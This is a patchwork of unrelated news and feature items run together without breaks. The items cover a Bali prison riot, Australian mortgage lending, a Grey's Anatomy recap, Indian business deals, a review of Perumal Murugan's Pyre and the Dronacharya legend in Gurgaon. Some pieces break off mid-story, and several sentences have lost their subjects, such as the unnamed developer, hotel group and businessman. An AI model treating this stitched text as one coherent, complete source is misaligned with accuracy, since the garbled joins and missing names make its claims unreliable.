A riot broke out at Bali's Kerobokan jail on Thursday night with fires lit and prison bars broken after 11 members of the notorious Laskar Bali gang were admitted to the prison.

No one was injured in the riot, which came just months after a deadly brawl broke out between Laskar Bali and Baladika Bali members in the jail, leading to four deaths.

"Convicts were angry when 11 people from Laskar Bali were put in Kerobokan jail," Made Badra, from Bali's Corrections Office, told Fairfax Media.
Latest News NAB reveals six market megatrends for brokers More opportunities for investors, first home buyers

Firstmac shifts up a gear on auto loans National sales manager appointed to pursue growing market

In a move to raise its market share in the Sydney residential investment property market, Bendigo Bank and Adelaide Bank are seconding 34 mortgage managers and thousands of brokers in the city.Confidential correspondence revealed that mortgage managers such as Mortgage House and Bluebay Home Loans (Perth), both of whom provide self-branded mortgages financed by Adelaide Bank, have been instructed to increase the loan-to-value ratio on Sydney metropolitan borrowers from 80 per cent to 90 per cent.The bid to make an impact in the city markets is instigated by consumer divisions at Adelaide Bank and Bendigo Bank, with an expansion into Melbourne also anticipated later in the year.Adelaide Bank distribution broker Fons Caminiti confirmed the move, saying, "We are fully committed to our brokers and  in turn  their clients. We are keen to ensure we prudently and responsibly engage where appropriate such as [the] Sydney investor market. We will continue to provide competitive fully-featured products through our broker distribution."Bruce Brammall of Melbourne-based Bruce Brammall Lending offered Australian Broker a brokers point of view on the announcement, hinting that Adelaide Bank and Bendigo Bank would need an additional point of difference to attract business.Youve got to remember that most brokers already have a large panel of lenders to select from, said Brammall, although they will have a handful of lenders that they predominately use most of the time because they are very comfortable with their products and policy, its just the way it is. So anything new to the market has to be pretty different, great for their client, and easy to understand and work with.One of the things [Adelaide and Bendigo] are doing right is thinking about how they will manage the surge in increased loan applications and the systems that they have in place. So many times banks dont have these systems in place and all that happens is loan turn around times get massively pushed out, which creates pressure and frustration for both the client and broker. All round it looks like bad service when that happens.
Greys Anatomy tackles gun violence in Trigger Happy when two boys find a gun in one of their homes and play with it, resulting in one shooting the other. That leads to a discussion among the doctors about guns  and one reveals she has one.

Meanwhile, Arizona fights Callie about Sofias future since her ex-wife has already begun making plans for their daughter in New York. Plus, Stephanie wavers about going on an actual date with Kyle.

Greys Anatomy Recap: Ben Makes a Controversial Call>>>

Also in the episode, Ben decides that hes not going to sit home and watch clothing dry or be a barista, so hes going to pick up cases as an anesthesiologist and wait to tell Bailey until its a reality. As Jackson tells him, its a terrible idea. It is a very, very terrible idea, and when he does tell his wife, she tells him if he does this, he can find somewhere else to sleep. Considering hes in the OR at the end of the episode, someones going to be on the couch for the foreseeable future.

Guns in Homes Lead to Emotional Moments

An 8-year-old boy is brought in with a gunshot wound, and its a tense few moments for two mothers as they wait to see which of their sons is injured. Its a moment of relief for Danielle, as Peter is okay, but Brandons mother realizes its her kid when she sees his shoe. At first, no one knows what happened, but then the babysitter comes in and reveals that she left the room for a few minutes and they found Brandons mothers gun and were playing with it and it went off. Amelia tells Peter that he didnt kill his friend, but as Owen points out as theyre walking away, they dont know that yet.

In the end, Brandon is paralyzed, but alive, and its very unlikely hell ever walk again. Kids watch and pick up everything you do, Amelia gently tells his mother when she repeats that the gun was locked up. She then goes out to see Peter to tell him that he didnt kill his friend. When he asks if his friend is mad at him, she asks if he would be if their positions were reversed. A little, he admits, but it was just an accident. Thats what he has to think about when he feels bad, Amelia tells him. It was an accident. I didnt mean to.

Thats a sentiment Amelia echoes when Owen tells her that his sister called her after finding out Nathan cheated on her and he told her to get on the helicopter. That was the last thing he ever said to her. You didnt mean to, she says as she hugs him.

This hits Maggie hard, to the point that she confronts the babysitter about what she was doing that was so important she was out of the room (the poor girl was just making them food) and she calls the babysitter to check on Merediths kids. Family messes you up, Nathan offers when she admits that shes not used to being scared like this and theyre not even her kids. Sometimes you just have to push through it, Meredith tells Maggie later when she says that she loves her kids so much that shed die if something happened to them. Push the awful aside just get through the day.

During Brandons surgery, Jo reveals that she owns a gun, for protection  and yes, Alex, its in their home, under their bed. It makes her feel safer, especially considering their neighborhood. But Alex thinks having a gun just makes it more likely that someone will get hurt. Later, once theyre home, she tells him that it made her feel like she had something, back when she didnt have much else or even value her life all that much. But now, she doesnt need or want it anymore.

Parental Heartbreak and the Beginning of Healing?

Callie is plowing forward with that move with Penny and Sofia, and her way of talking about their daughters future is to meet Arizona with brochures for schools in New York. But Arizona never said she could take her daughter across the country, leading Callie to tell her to stop saying your daughter. But she is her daughter, and shes Callies, Arizona says. She doesnt even want to look at the brochures.

Penny wisely decides to stay out of it because she knows that she does not get a say in Sofias life. Arizona, meanwhile, talks to Richard about it, and he cautions her against overreacting and getting herself into an April/Jackson mess. Sofias too important, he reminds her. Dont do something that cant be undone.

Bailey may be  or at least tries to be  the voice of wisdom for Callie, wondering why shes moving across the country for a resident when shes the Chief of Ortho here and is basically going to be giving up her career in New York.

But once a school calls Arizona about Sofias application, she tells Callie to talk to her lawyer. You started this, she argues, when Callie tries to accuse her of jumping the gun like she admits she did when she got carried away when she first told her.

But hey, at least April and Jackson are in a better place. At first, theyre just talking about her prenatal appointment and her letting him know how it goes, but by the end of the episode, she invites him along.

Greys Anatomy: 10 OMG Moments from Theres a Fine, Fine Line and Its Alright, Ma (Im Only Bleeding) >>>

Real Life vs. Texts

Just as Stephanie is agonizing over whether to go on an actual in-person date with Kyle, rather than just sext him (and accidentally Meredith) like shes been doing, she and Meredith treat a patient, Sheila, whos about to meet her online boyfriend for the first time. However, when he shows up, he looks nothing like his photo and Sheila yells at him to get out. But after her surgery, he asks how shes doing and when he finds out her tumor was benign, he confronts her because she apparently told him she was dying. Well, he said he had hair, she counters.

As for Stephanie and Kyle, he shows up at the hospital to see her, but she just tells him he needs to leave. Repeatedly. The texts are good and all, she admits to Meredith, but expectations are too high and she doesnt think shes quite as good in person as on paper. She does end up going on that date, however, to a recording studio, and he doesnt need moves to get her to kiss him.

Greys Anatomy season 12 airs Thursdays at 8pm on ABC.

(Images courtesy of ABC)
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October 3, 2022

Dee Gambit

Hundreds  if not thousands  of new and returning TV shows and movies are released every month  your options of what to watch are endless. Variety, they say is ...
Keston Boilers has announced the appointment of Mark Roberts in the role of business development manager for the whole of the south coast of England.

Mr Roberts is responsible for liaising with a diverse range of Kestons customers including housing associations, architects and heating engineers in order to assist them in their selection from the companys range of combi, system and heat only boilers.

A powerhouse in the heating industry since leaving school, Mr Roberts was previously business development manager at Plumbase before joining Keston at the beginning of the year.
On April 12 2016, Baiga adivasi women of Kabirdham district in Chhattisgarh reported that after they complained that they had no handpump and were drinking dirty water from a nullah, a handpump was installed.

A March 22 news item from Dindori district in Madhya Pradesh stated that people below the poverty line in the village had not received subsidised foodgrain for a long time. Soon after this news broke out, all 550 BPL card-holders in the area received the ration that was their due.

Such stories are not isolated. Across the Naxal-affected swathes of central India, a unique phone/radio service has given voice to India's marginalised, illiterate and impoverished fringes. Called CGNetSwara, the mobile phone-based reporting platform enables villagers to become citizen journalists, creating news that is about themselves, and for themselves. Co-founded by award-winning digital activist Shubhranshu Choudhary and computer scientist Bill Thies, CGNetSwara has been working since 2004 to provide a platform to communities that have neither access nor linguistic representation in what Choudhary terms as India's "media aristocracy".

Once a BBC journalist, Choudhary was a part of this aristocracy. On one of his visits home, he realised that the adivasi weren't gravitating towards Naxalism out of any great appreciation of Mao's teachings. They were drawn to Naxalism because they were angry at being left unaffected (and isolated) by the country's march towards development. Not only were they unable to air their many woes, there was no one to hear them. That is how CGNetSwara was born.

CGNet works on a simple formula. Fieldworkers encourage villagers to use their mobile phones to record reports on local issues and information that they feel their community would like to receive. Each report is accompanied by phone numbers of local officials so that other listeners can pressure them find solutions to their problems. These "barefoot journalists" use the CGNet app that allows them to record even in the absence of cellphone connectivity. The app automatically uploads the report whenever the phone catches signal. At CGNet's headquarters, each report is verified, translated and edited by its staff before it goes live.

Their primary focus now is to figure out a cheaper solution. Community radio could have been a good option but it is illegal to disseminate news through any unofficial channels in India. VoIP, or Voice over Internet Protocol, is another cost-effective solution which is against the Indian law. Which is why the folks at CGNet are so excited about their latest project - Bultu radio. "We noticed that villagers in remote areas hardly use mobile phones to make calls. Instead they use Bluetooth (locally called "Bultu") to transfer songs onto their phones and use them as radios," says Choudhary.

CGNetSwara has inspired similar mobile phone-based news networks in other developmentally challenged regions like Somalia and Borneo. Closer home, Choudhary too has ambitious plans. "We aim to set up at least a hundred bottom-up media platforms in the villages of Chattisgarh in the next few years," says he.
Like most of his work, Bibhu Mohapatra's designs carry a whiff of his childhood memories. He must have been 14 when his mother took out a red bundle containing the family's heirloom jewels. "That memory is the most beautiful thing. When I touched those pieces, I felt that they were all eager to tell stories of women who had worn them in the past," says Mohapatra, who grew up in Rourkela, Odisha, and is today a known name in international fashion. It is these memories that he has set in stone in his first-ever jewellery collection, Artemis, created for Forevermark India. "It was important for me to create jewellery that will live on through generations. A great-granddaughter might tell stories of her great-grandmother while wearing the piece," he says.

As someone who has dressed celebrities such as Gwyneth Paltrow, Hilary Swank, Glenn Close and Michelle Obama in the past, Mohapatra felt that the time was right for his brand to be extended to jewellery. A friend, who knew of his wish to dabble into fine jewellery, introduced him to Sachin Jain, president, Forevermark India, and the two exchanged a volley of ideas over coffee during Mohapatra's visit to Mumbai two years ago. "The idea was not to create just a one-off piece but a collection that could have a life longer than merely a season," he says.

The collection, which was launched in Mumbai recently, features earrings, rings, bracelets, pendants and brooches and makes use of three key motifs - the sun, the moon and the stars - with an exquisite diamond at the centre of the setting. "It was critical that the core of the collection be inspired by my heritage. So, I looked into ancient Vedic scriptures that describe the alignment of the sun, moon and the stars," he says. "It's also about how these celestial bodies influence the way two people interact and how their bond is formed."



Though Mohapatra's couture label is known for exclusivity, he has tried to make his jewellery collection more inclusive and affordable. With pieces costing Rs 2 lakh upwards, he has tried to keep the price point accessible. There is a story running through each sub-collection within Artemis, and one has an option to get a piece in white, yellow or rose gold. "It's about giving people choices. That's what keeps a brand relevant, and not a collection that only some people can afford," says Mohapatra.

and now owner of the designer label, Carousel.

The intention was always to make Artemis a versatile collection. "We didn't want to create pieces that come out of the locker just three times a year. You can wear these pieces through the day, with denim jackets and jeans or with cocktail dresses," says Mohapatra, who took three to four months during the first round of the designing process - from the concept to the sketches. After getting technical feedback, it took another six months to get the designs right. Creating Artemis has been a huge learning process for Mohapatra. "Firstly, I have so much respect for diamonds now. Also, I got to learn about the technical side of creating jewellery, be it getting balance in a design or adding value and quality to it," he says.
"The mob was frantic with delays and would hear to nothing but burning at the stake."



In 1899, newspapers in Florida reported the lynching of Sam Holt, a black man who was tortured, mutilated and burned in front of 2,000 people. In 1997, almost exactly a century later, 58 Dalits were massacred in the village of Laxmanpur Bathe. All 26 of the accused would be acquitted for lack of evidence some 20 years later when the final verdict in the case was pronounced.

It is assumed often that the madness of crowds is dangerous, that a mob running amok is a fearsome thing. This is only partly true. Far more frightening and commonplace than the madness of crowds is the assent of the majority, the complicity of crowds, the agreement between ordinary citizens that their neighbours deserve, for whatever reasons, death.

This truth is something that the best of our novelists know - writers like Bhisham Sahni, Vivek Shanbhag, Arundhati Roy, and now Perumal Murugan: violence and complicity is a timeless Indian theme.

Murugan's Pyre (Penguin India/ Hamish Hamilton) was published in Tamil in 2013; this sensitive, richly-textured translation is by Aniruddhan Vasudevan, who has also translated One Part Woman (published in Tamil in 2010).

"This is a novel about caste and the resilient force that it is, but it is also about how strangely vulnerable caste and its guardians seem to feel in the face of love, and how it often seems to assert itself both in everyday acts of discrimination as well as in moments of most unimaginable violence," writes Vasudevan.

The Korean novelist Han Kang said recently that she sees the world as a place of mingled violence and beauty, a phrase that perfectly captures Murugan's landscapes. In Pyre, the new bride, Saroja, thinks when she sees the cremation ground in front of her husband's village: "This place hid all sorts of secrets within itself while displaying a modest appearance to the world." Kumaresan's village is set in "a barren landscape scorched into whiteness by the heat"; his home is a thatched hut set on a sun-scorched rock, the colour of a dried-up stream of blood.

The cruelty of the villagers, and of Saroja's mother-in-law Marayi, is casually relentless; the dislike of an interloper, the implacable determination to cast out the outsider is so well portrayed that the reader shrinks a little inside her skin, along with the bride. The village's insistence on purity outweighs humanity; and yet, Pyre is a love story, too, and Murugan writes with a gentle, sensual tenderness that is unforgettable.

Kumaresan worries that his wife, faced with the hostility of the relatives who "curl like worms" around them, might splutter and wither "like a little sesame seed on this heated rock". But later, it is through the landscape that Saroja begins to feel a sense of home, so difficult to come by when the crowd outside her hut brings only hard words and an unfriendly curiosity as their rough gifts. "She had never set her bare feet on a rock before. It touched her with the combined sensation of Kumaresan's soft hands and his rough embrace, the memory of which made her shiver with pleasure every time she walked on the rock's surface."



The village council excommunicates them, Marayi's tirades start and stop their days as Kumaresan attempts to run a soda shop some villages away, and Saroja dreams of losing herself in the safety of town crowds who would not care about her caste, would not call her a witch.

And yet, even here, there is a touch of tenderness; Marayi has her own memories, shadows and small almost-forgotten joys, her anger is love gone sour. Murugan writes with cinematic power, and the final images of Pyre will sear your heart, though he makes sure that the reader writes the ending with him.

One Part Woman was met with intolerance of such a degree that it forced him into silence. Pyre, written before the storm of bigotry swept through the author's life, is even more accomplished, bitterly haunting, a love story, and an indictment of those who hate with such staunch righteousness.



nilanjanasroy@gmail.com
My earliest memory of The Mahabharata goes back to the days when I would watch B R Chopra's eponymous television series every Sunday. Guru Dronacharya, teacher to the bickering Kauravas and Pandavas, was always just a benign, fatherly figure, torn between playing favourites and forced to be loyal to the kingdom of Hastinapur. He was above all blame and his character was only marred by his treatment of Eklavya, the guru's loyal student who had to sacrifice his thumb to prove his devotion, and Karna, who Dronacharya refused to teach because of his lineage.

Some 5,000 years after the original Mahabharata is said to have played out, residents of Dronacharya's supposed village in Haryana, Gurgaon, are struggling to recall even local folklore associated with the guru. "I think there's a Metro station in his name," says a resident of old Gurgaon.

While some believe that the "gur" in Gurgaon stands for an erstwhile "gur mandi" (jaggery market), others maintain that it signifies the guru. But there is little that honours Dronacharya's mythic association with Gurgaon. Barring a couple of educational institutions named intuitively after a mythic teacher's name, a lone statue in one Tikona Park in old Gurgaon is the nearest to any commemoration.

Jyoti Sagar, chairman and founder of law firm J Sagar Associates and a resident of Gurgaon for 25 years, says that he, too, remembers only the Metro station named after Dronacharya. "Most parks and stadia in Gurgaon have been named after contemporary political leaders." In fact, Atul Katarya, a lieutenant who died in the line of duty, has several more chowks and roads named after him.

A peculiar consequence of this absence of Dronacharya from local memory has been the rise of Dronacharya's wife, Kripi, as a cult figure in the region. Peculiar, because Kripi barely features in The Mahabharata, and even when she does, it is as an extension of the two warrior-teachers - her brother, Krupa, or her husband, Drona. She makes an appearance on Wikipedia, too, as an extended reference of these two characters.

But going by the long queues outside the Sheetla Mata Mandir in Gurgaon - Kripi came to be known as goddess Sheetla Mata over the years - it is evident that she has found her place in Hindu religion and mythology. Large groups of men and women of all ages huddle around the massive shrine, offering red dupattas and rice crisps as prasad to the goddess who has now become famous for ridding all sorts of illnesses. Deftly sorting coconuts and rice crisps into their respective containers, Arun Sharma, the head priest at the temple, is a little perplexed that I want to know about Dronacharya and not Sheetla Mata.

"Many years ago, it is believed that this village was gifted to Dronacharya by king Drupad. They say this is the place where the Kauravas and the Pandavas learnt their martial skills," he says.

The epic says that Dronacharya and Drupad grew up together and Drupad promised Dronacharya half his kingdom for his friendship. When the time came for Dronacharya to seek his reward, Drupad refused to part with his wealth. "It is said that a panchayat was held to decide on this dispute and finally, Drupad gave Dronacharya 18 villages. What we know as Gurgaon today was the central village in this cluster," explains Sharma.

And yet, not a single idol of Dronacharya can be seen inside the Sheetla Mata Mandir. Shyam Singh, a local resident, tells me that he has come to offer prayer for his wife who is unwell. But when I ask him if he knows about Dronacharya or Kripi, he laughs and says, "Are you from Kaun Banega Crorepati? I don't know the answers to these general knowledge questions."



Sharma, though, adds that very little remains of Dronacharya in rural Gurgaon and there are no clans who trace their roots to the guru. All that is left, he says, is an unattended piece of land that was believed to be the pond in which Dronacharya would bathe before conducting archery lessons. "There is also a palace in ruins nearby that people say belonged to Dronacharya."



The palace is located just a couple of kilometres from the temple, but only a handful of those who live in the area seem to know where it is. I approach two young men dressed in jeans, t-shirts and shining new sneakers to ask for directions to Mahalwada, the site believed to be where the ruins of the palace are. They lower the volume of the smartphone - the latest Yo Yo Honey Singh is blaring from it - only to shrug and say they have no clue.

Walking inside narrow lanes that are remarkably clean, I reach my destination. The palace walls have large cracks on them, but the structure does not look 5,000 years old. Even with my limited architectural knowledge, it appears relatively recent, especially the motifs on the doorways and corridors.

Two young boys, who graciously offer me a tour of the palace, warn me of the bats that I may encounter on my way in. Over the years, locals have occupied the palace. Its current occupant is a supplier of plastic bottles. Unaware of the supposed history, onlookers seem both perplexed and amused at the attention they are receiving.

Lakshmi, who is in her 70s, says that even this tiny connection to Dronacharya is disputed. "This was where Dada Singha (a local ruler) lived around 200 years ago. I don't think Dronacharya had anything to do with this other than the fact that Singha found Kripi's idol buried here," she says.

Kripi seems to have surpassed her husband in local legend too, especially since trope of miracles, dreams and visitations have made her more contemporary to her followers today. Dronacharya, without a visual representation, only lends his name to the village, that too indirectly.

Both Sharma, the priest at Sheetla Mata Mandir, and residents near Mahalwada suggest that any "real evidence" of Dronacharya's Gurgaon connect is at Pinchokda Jhod, the site of the pond.

While I have no trouble locating or reading about Sheetla Mata Mandir on the internet, there's almost no digital trace of Mahalwada or Pinchokda Jhod. Sharma, too, seems to have little regard for the temple associated with the pond. "You won't find anything there. This is the only temple remotely associated with Dronacharya that people even know about," he says. Only a local paan shop owner seems to know where this temple might be located.

For Sohail Hashmi, writer, film maker and activist, the question to ask is whether Dronacharya was a historical or mythological figure. But Bibek Debroy, economist and author of The Mahabharata series, has a counter to this argument. "Gurgaon was a village and history is always written from the perspective of towns. For this reason, one may find limited mention of Gurgaon in The Mahabharata. And this is why one will find archaeological evidence in Mathura or Dwarka, because these were capitals of the kingdoms." But this neither proves nor disproves the history of Gurgaon and its association with Dronacharya, he adds.

With a red flag over its dome, the only sign that this temple in Bhim Nagar is dedicated to Dronacharya is a board for the office of a school that reads "Shri Guru Dronacharya Nishulk Shiksha Kendra". Located on a busy street, with its usual urban chaos, I almost mistake the temple for the office of a local political leader - her face is prominently printed on a large hoarding for a charitable trust that works for the rights of the girl child.

Inside the temple, Chhote Jha, the priest and the lone occupant of the premises, appears to be irked both by my presence and by my questions about Dronacharya. "He was the first warrior in the whole universe," he says. "The work that NASA and ISRO do today is his legacy. When we have all that, why do we need a flashy temple like the Sheetla Mata Mandir?"



Jha's words bring to mind literature written by P N Oak, a Hindu-revisionist historian who claimed that the Taj Mahal was originally a Shiva Temple (called Tejo Mahalay) and Australia was actually an uninhabited island for storing weapons (originally known as "astra alaya").

Jha hints at the monetary fruits that his temple seems to be losing out on, but swiftly changes the topic to fickle public memory. "Eklavya once made an idol of Dronacharya and learnt his martial skills. Today, only those who truly want to learn from Dronacharya will do that." There is not a single idol of Dronacharya in the entire temple precinct.

At the site of the supposed pond, vegetation grows over uneven land. There is no signage to demarcate a site of seeming religious significance. A stairway leads down to the untended land, with a doorway that is named Baba Khatu Shyam Dwar. This doorway, constructed in 2013, leads to a satsang hall, but the plaque mentions nothing about Dronacharya. At least the voice of a woman announcing the arrival of the Metro train at Guru Dronacharya station keeps his name alive in public memory.
Hari Raj Singh (name changed) paid a visit to the office in a jiffy on Friday to verify the approval plan of a project, in which he has booked an apartment. In the office, he found the companys marketing officials trying hard to convince new customers that all the papers were in order.

The scene clearly shows the bad phase the company, which has been facing the ire of buyers as well as government authorities, is going through. On April 11, the Greater Noida Industrial Development Authority (GNIDA) asked to seal 1,009 flats in the company's project Czar in Greater Noida, citing violation of rules. Some residents of Czar had complained to GNIDA about violation in the sanctioned plan.

This is the second time the company has borne the brunt of buyers. In a previous case, the Allahabad High Court had ordered demolition of two 40-storeyed towers in its project Emerald Court in Noida, acting on a complaint by Residents Welfare Association (RWA). has challenged the order in the Supreme Court, where it is pending.

With the instances of developers going back on their commitments, buyers have been increasingly raising their voice against such errant builders. The real estate sector has witnessed a spur in buyers activism of late with even the countrys largest real estate player, DLF, not being spared. The Competition Commission of India (CCI) imposed a fine of Rs 630 crore on DLF acting on buyers complaint for making changes in the project plan without approvals. The case is now pending in the Supreme Court.

Buyers activism is going in the wrong direction. One to two per cent of buyers tend to resort to malpractices, which is why such cases are coming up. They dont understand the technicalities. We have all approvals in place. We just need to pay money for additional FAR (floor area ration), Supertech chairman and managing director R K Arora told the Business Standard.

According to people close to the development, buyers often throng the office of Supertech on weekends for various issues ranging from delay in possession to registry of their apartments.

Arora says the company is not hard-pressed for funds and is in discussions with various banks to raise money for the projects.

The real estate market is in a slowdown phase where developers are struggling with low sales and high inventory.

Currently, the realty sector is devoid of any regulator.

With the passage of the Real Estate Regulatory Bill, things are expected to be streamlined.

Arora says the Real Estate Bill will definitely be a game changer for the sector. It will remove fly-by-night developers. And, trust and confidence among buyers will be back once this is implemented. Sometimes, delay in projects happen due to external factors beyond the developers control, he said. We will give possession of about 12,000 units this year; we gave 16,000 units last year.
The department of telecommunications (DoT) has approved spectrum sharing between Reliance Communications and Reliance Jio in nine circles including Mumbai, Himachal Pradesh and Haryana.

This will allow both the firms to offer 4G services on 10 MHz block in 800 Mhz band after the sharing arrangements. The nine circles are -- Mumbai, UPE, Madhya Pradesh, Haryana, West Bengal, Odisha, Himachal Pradesh, Assam and North East, according to a filing by the company on Bombay Stock Exchange.

"We wish to inform that DoT has taken on record 800Mhz spectrum sharing in seven circles of the company and two circles of Reliance Telecom (RTL), a wholly-owned subsidiary with RJIL on April 21, 2016," Reliance Communications said in a regulatory filing.

For remaining 13 circles, RJio plans to trade spectrum from RCom by paying about Rs 4,500 crore to the department. RCom has already liberalized its spectrum by paying over Rs 6,000 crore to the government. The spectrum liberalisation fee would apply to all circles where airwaves weren't sold via auctions and then operators, can use the spectrum for deploying any technology.

In January this year, the firms had announced plans of spectrum sharing and trading for 800-850 MHz spectrum, which will give RJio an edge over the competition.

The deal will give RJio a pan-India 4G network on 800-850 MHz frequency along with 2,300 MHz it already owns. The lower frequency offers better indoor coverage and provides seamless voice services through Voice over LTE (VoLTE).

RJio has already soft-launched its 4G services.

A 10 Mhz block can provide up to 80 Mbps speeds and, with the 800 Mhz spectrum advantage, this can deliver Internet faster than many wire-line broadband / Wi-Fi services offered today at a much more affordable cost. The subscriber capacity also multiplies exponentially when spectrum is combined into a single block of 10 Mhz, according to sources.

RCom will also move its five million CDMA customers to Jio's 4G LTE network from next month. While the users will continue to be RCom subscribers, the network will be powered by Jio's all-IP based next generation network. RCom and Sistema Shyam Teleservices have agreed on a merger, which will provide the former access to liberalised 800 MHz spectrum in eight circles and yet to be liberalised spectrum in one circle. RCom is also in talks with Aircel for a possible merger of their wireless business. Aircel has 2G spectrum in 19 circles, excluding Kolkata, Delhi, Mumbai and Chennai; 3G spectrum in 13 circles; and 4G spectrum in eight circles.
The government has decided to terminate three highway projects worth Rs 3,000 crore because of poor performance by contractors.

"We have decided to terminate three projects," said Raghav Chandra, chairman of National Highways Authority of India (NHAI) on the sidelines of the 24th annual general meeting of the American Chamber of Commerce in India.

The contracts to be terminated are for the Rs 410-crore Rohtak-Jind project in Haryana, the Rs 1,021-crore Haridwar-Dehradun project in Uttarakhand and the Rs 1,650-crore Ranchi-Jamshedpur project in Jharkhand.

The Haryana project was awarded to Vijai Infrastructure on the build-operate-transfer (BOT) model. It began work in October 2013. NHAI suspects diversion of funds in this project.

The Uttarakhand project was awarded to a joint venture of the Era Group and Russian company OJSC-SIBMOST on the annuity model. Work began in November 2011. NHAI found the companies were unable to bring in the necessary funds in the stipulated period.

The Jharkhand project, in which work began in December 2012, was awarded to Madhucon Projects on the annuity model. NHAI suspects diversion of funds in this project as well. These three projects are part of 19 that were stuck for various reasons. In January, Highways Minister Nitin Gadkari and Finance Minister Arun Jaitley met developers and bankers to get them moving.

"We have given more time to a few other concessionaires (developers). I don't want to name them yet. We will take a decision on their projects soon," Chandra said.

In his address, the NHAI chairman said while American companies have worked with the government as a consultant on many road projects, none have shown any interest in bidding for such projects.

Talking about the troubles faced by public-private partnership projects, he said private projects developers were still interested in undertaking highway contracts through this route.

While more projects could also meet the same fate, more business for private sector players could come in with Chandra saying the NHAI was currently scouting for a consultant for Rs 12,000-crore project to develop a 235-km Outer Ring Road of Andhra Pradesh's new capital Amravati. It would be an eight-lane expressway.

He also said developing expressways was going to be a priority sector for the NHAI. Besides Amravati Outer Ring Road expressway, the NHAI was working on Lucknow-Kanpur, Delhi-Jaipur,Vadodara-Mumbai expressway projects as well.

"For Vadodara-Mumbai project, the detailed project report has been prepared and the auction is going to happen any time soon. For Bangalore-Chennai expressway, 50 per cent of the land acquisition is already over," Chandra said.
Hospitality major (IHG) is looking at adding three more mid-scale hotels in India during this year, as part of its plans to grab the opportunity in the country, where it sees the third largest growth in the global market. The company today opened a 136-room mid scale hotel Holiday Inn Express in Chennai in collaboration with Duet India Hotels.

"India is the third largest in terms of growth for us, after US and China. We have 27 hotels currently managed and 42 hotels in the pipeline, of which majority are in the mid-scale segment. This year, we have launched two hotels and will be launching three more in the mid scale segment," said Shantha de Silva, Head of South West Asia, IHG. The mid-scale hotels of the company are branded as Holiday Inn and Holiday Inn Express.

The company will be opening Holiday Inn hotels in Chennai, Tirupathi and Kolkata, during the year.

Holiday Inn brands and the upscale segment brand Crowne Plaza are expected to bring in more growth to the company in future.

The Chennai facility is the fourth under the JV with Duet India, and the 20 year agreement signed with them is for management of 19 hotels across the country, he said. The next hotels under the tie up would be for a Holiday Inn and Holiday Inn Express in Navi Mumbai. Under the partnership, the hotels will be owned by Duet India Hotels and managed by IHG.

The 136 room hotel launched in Chennai today, at Old Mahabalipuram Road, has the IT hub in its vicinity. The company, which has around 650 keys managed in the four hotels including the one opened today, is looking at launching a 200 room Holiday Inn property in Chennai by the enf of the year. With this, Chennai would be the only city in India to have all the brands of IHG, launched in the country, present in a single city, he claimed.

Naveen Jain, president, Duet Hotels said, "Currently we have acquired nine hotel assets with 1,586 rooms out of these six hotels with 1,012 rooms are already operational including four Holiday Inn Express, rest three are under various stages of development. Our initiative to drive foreign investment in the hospitality sector into India is proving to be quite successful."

IHG globally franchises, leases or manages or owns more than 5,000 hotels and 744,000 guest rooms in nearly 100 countries, with more than 1,300 hotels in its development pipeline.
Mohandas Pai-backed meat ordering service Licious has secured an undisclosed amount of funding from Mayfield India Management as part of its Series A round. The Bengaluru firm which opened its door nine months ago plans to expand its service to more cities in India.

Having registered tenfold growth in the four months since the company raised its angel round from individuals such as Kanwaljeet Singh, Mohandas Pai, Kaushal Agarwal and others, it now employs over 160 people in Bengaluru.

"We are now operating at optimal levels at Bangalore and follow the 'zero inventory' model successfully. It is now time to move to other parts of the country and a major part of the funds will go towards that," said Abhay Hanjura, co-founder of Licious, in a statement. Read more from our special coverage on "START-UPS" Start-ups should have offices in suburbs to cut cost: CBRE

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Licious sources fresh meat - chicken, lamb and seafood - and then processes it before delivering it to a customer's doorstep within 90 minutes of them placing the order.

The company is also looking to expand its offering to customers in the coming months.

"The consumer fresh meat value chain in India is highly fragmented. Licious is building a brand which stands for superior quality and hygienic meat products delivered to the consumer's doorstep" said Nikhil Khattau, managing director at Mayfield India Management.

The firm not only owns and runs its own processing unit, but has also innovated on packaging, using patented vacuum sealed containers in order to avoid contamination. Licious is looking to use technology to improve efficiency across the entire value chain rather than just in the delivery, thereby helping it better control costs.
In an effort to be a relevant opponent to cab aggregators Uber and Ola, Indias largest radio taxi provider Meru Cabs is planning expansion and strategic alliances with mobile wallet company Paytm and an undisclosed southeast Asian taxi provider. The tie-ups are expected to help Meru go for an initial public offering (IPO) in the next three years, sources said.

Meru is close to raising around Rs 150 crore from a single Indian investor, it is learnt.

The company has had talks with a number of probable investors as well as major e-commerce companies for strategic alliance during the past few months.

The fresh funds would be used for fleet expansion as well as entering new cities. The company is planning to increase its fleet size in Delhi and add 500 new cabs to take its fleet size to 3,500.

On the strategic alliance, a source close to the development said Paytm would promote Meru services to all its user base on its portal. Meru would give cashbacks to Paytm users and Paytm would offer deals such as free rides to its users.

Meanwhile, Merus recent 25 per cent fare reduction is seen as a way of fighting it out with rivals Uber and Ola. This was one of the ideas conceptualised along with Paytm, as a way of expanding its user base. Meru aims to increase its user base from four million to eight million by the end of this year by tapping Paytms 120-million customer strength. Meru is likely to cut fares in other cities as well. However, the scheme would not be permanent. Its normal fare is fixed at Rs 23 a km.

The alliance with a southeast Asian cab provider will be primarily for technology support. Meru is breaking even in almost all the cities it is present in and it is growing at 35 per cent compounded annual growth rate. While its revenue was Rs 600 crore last year, it is projected to grow to Rs 800 crore this year.
Indian businessman and his wife Radhika Oswal have been barred indefinitely from leaving Australia after they landed there this week for court battles over their crumbled empire, The West Australian reported on Thursday.

The Australian Taxation Office (ATO) issued the pair with Departure Prohibition Orders over Mrs Oswals unpaid $190 million tax bill, which will go to court in June, the Perth based newspaper added.

The move comes at a time when Pankaj is locked in a bitter succession battle with his mother over the estate of his deceased father Abhey Oswal.

When contacted, Oswal said in an emailed response, The contested ATO claim is substantially lower or even equal to zero, as verified by our independent commercial consultants.

He added that We came to Australia on our own choice, to fight a legal case and clear our name. We are prepared to spend as much time as it takes, in Australia to seek justice from the Australian legal system.

Oswal added that their damage claim on ANZ bank, YARA and APACHE was worth $1.2 billion. The claim for our $1.2 billion damages starts on May 30 and we hope that all the witnesses from YARA (whose ex directors are all currently in jail for bribery), Apache Corp and ANZ will make themselves available for the trial now that we are here, he said.
The full weight of being a "creative entrepreneur", a term Radha Kapoor uses to describe her role, has gradually become apparent to her. Most notable among her recent partnerships is a somewhat reluctant friendship with mathematics. The daughter of Yes Bank CEO Rana Kapoor was never a number cruncher, often relying on experts to guide her through them. But some years of running her own investment company have taught the "right-brained" businesswoman that "finances do matter, and at the end of the day I have to see what the returns are."



